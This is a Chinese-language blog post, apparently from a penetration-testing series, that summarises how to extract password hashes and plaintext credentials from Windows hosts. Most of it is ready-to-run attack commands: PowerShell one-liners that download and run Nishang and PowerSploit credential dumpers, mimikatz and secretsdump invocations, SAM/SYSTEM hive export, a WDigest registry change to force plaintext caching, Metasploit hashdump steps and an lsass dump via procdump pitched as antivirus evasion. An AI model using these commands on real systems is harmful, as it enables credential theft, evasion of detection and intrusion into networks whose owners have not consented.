美文网首页内网攻防
Windows之hash获取小结

Windows之hash获取小结

作者: book4yi | 来源:发表于2020-07-08 15:55 被阅读0次

基础:


windows hash由二部分组成,分别是LM HASH和NTLM HASH,这是对同一个密码的两种不同的加密方式。

username:RID:LM-HASH值:NTLM-HASH值
window下uid号为500的即为管理员权限(linux为0)

比如:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

NTLM-Hash的生成方法为:

1.将明文口令转换成十六进制的格式
2.转换成Unicode格式,即在每个字节之后添加0x00
3.对Unicode字符串作MD4加密,生成32位的十六进制数字串

这里我们以密码:123456,作为例子
十六进制为 313233343536
Unicode字符串为 310032003300340035003600
NTLM-Hash为 32ed87bdb5fdc5e9cba88547376818d4

LM-Hash(LAN Manager Hash)是微软的一种散列加密算法,本质为DES加密
具体原理请参考:
安全科普:详解Windows Hash与破解
LM-Hash && NTLM-Hash
当LM Hash是aad3b435b51404eeaad3b435b51404ee,它对大小写不敏感,这表示空密码或者是未使用LM_HASH。这里不做过多解释,因为从Windows Server 2008版本开始,系统禁用了LM hash

获取hash的工具

powershell脚本(需要管理员权限):
# Get-PassHashes.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

# Invoke-Mimikatz.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

# Out-Minidump.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"
# 假设上一个命令生成了lsass_528.dmp,再用mimikatz从dumps中获取明文
mimikatz.exe "sekurlsa::minidump lsass_528.dmp" "sekurlsa::logonPasswords full" exit

这里有个问题就是mimikatz(包括powershell版),当系统为win10或2012R2及以上时,默认在内存缓存中禁止保存明文密码,如下图,密码字段显示为null

此时可以通过修改注册表,赋予进程lsass明文记录密码权限,然后发起进行锁屏命令,待管理员再次输入密码登陆系统,再次抓取将可获得明文密码。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
mimikatz工具:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
secretsdump.py:

导出域控所有hash,可能能直接获取明文密码

python secretsdump.py -hashes 0000000000000000000000000000000:187ff47deff1xxxxxxxxxxxxxxxxxxxx tester@192.168.107.189 -dc-ip 192.168.107.189
LaZagne工具

LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。该工具不仅能抓取windows密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,适用于windows、Linux、MAC
项目地址:https://github.com/AlessandroZ/LaZagne
运行命令:

pip install -r requirements.txt
python laZagne.py all

或者下载发行版exe:https://github.com/AlessandroZ/LaZagne/releases

Pwdump7.exe工具

项目地址:https://www.openwall.com/passwords/windows-pwdump
拷贝libeay32.dll和Pwdump7.exe在同一目录下
直接运行获取hash

wce工具:

项目地址:https://www.ampliasecurity.com/research.html
支持Windows XP, 2003, Vista, 7, 2008 and Windows 8
该工具分为32位、64位。它可以列举登陆会话,并且可以添加、改变和删除相关凭据

# 读取系统明文密码
wce.exe -w  

# 获取hash
wce.exe -l

缺点:很容易被查杀

SAM表获取hash

导出导出SAM和System文件

reg save HKLM\SYSTEM sys.hiv 
reg save HKLM\SAM sam.hiv

将注册表的SAM、System文件导出到本地磁盘。
使用mimikatz读取SAM和System文件。可获取NTLM Hash

mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
metaploit 框架

在得到session的基础上,尝试抓取hash值。
metasploit支持多种hash获取。
1、hashdump
在system权限下,可抓取hash

2、windows/gather/smart_hashdump 脚本

run windows/gather/smart_hashdump

并将所有hash导出到:
/root/.msf4/loot/20200708154030_default_192.168.107.136_windows.hashes_667293.txt

3、load mimikatz 命令
加载mimikatz模块
常用命令:

msv          # 获取hash
kerberos  # 获取明文
ssp          # 获取明文信息
tspkg       # 尝试检索tspkg凭据
wdigest    # 尝试检索wdigest凭据
mimikatz_command -f samdump::hashes   # 获取hash
mimikatz_command -f sekurlsa::searchPasswords   # 获取明文密码

个人感觉msf自带的mimikatz模块不是那么好用,不如直接upload一个mimimatz到目标机器上

免杀方案:

prodump.exe工具

该工具是微软出品的工具,具有一定免杀效果。设计初衷是抓取崩溃进程的内存数据,可监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因。
项目地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。

# 导出lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp  

再使用mimikatz读取密码:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 

需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。

SharpDump工具

Out-Minidump.ps1 脚本C#版本编译后的结果。
ps项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
SharpDump项目地址:https://github.com/GhostPack/SharpDump/

把lsass.exe进程数据导出来
dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压
并使用本地的mimikatz进行读取。

mimikatz.exe "sekurlsa::minidump debug572" "sekurlsa::logonPasswords full" "exit"

破解hash的网站:

https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php

参考如下


windows hash抓取总结

相关文章

  • Windows之hash获取小结

    基础: windows hash由二部分组成,分别是LM HASH和NTLM HASH,这是对同一个密码的两种不同...

  • Windows之hash利用小结

    本文仅作学习记录,如有侵权,请联系删除! 实验环境: 攻击机:kali 2020(192.168.107.129)...

  • Net-NTLM hash利用方法

    一、windows的hash NTLM hash NTLM hash是windows登录密码的一种hash,可以在...

  • windows口令破解GetHashes

    (1)Windows系统下的Hash密码格式 Windows系统下的Hash密码格式为:用户名称:RID:LM-H...

  • 横向渗透之Pass The Hash

    前言 在上一章总结了windows抓取hash的一些方式。在实际场景中,我们需要更快的扩大战果,获取更多控制权限,...

  • isEqule,hash的关系

    isEqule是对比,hash是获取哈希值 hash可能会出现hash碰撞,所以hash相等的不一定isEqule...

  • 在 Windows 平台上打造出你的 Linux 开发环境

    资料: 在 Windows 平台上打造出你的 Linux 开发环境 Cmder简单使用小结 Win下必备利器之Cm...

  • Ruby散列(1)

    1 hash值的获取与设定1) hash[key] = "value" 可以使用storehash.store("...

  • HashMap

    属性 hash表中的Node节点类 HashMap中一些重要方法 hash方法,获取key的hash值 table...

  • url模块

    url模块 url.hash 获取及设置URL的分段(hash)部分。 包含在赋给hash属性的值中的无效URL字...

网友评论

    本文标题:Windows之hash获取小结

    本文链接:https://www.haomeiwen.com/subject/hinqcktx.html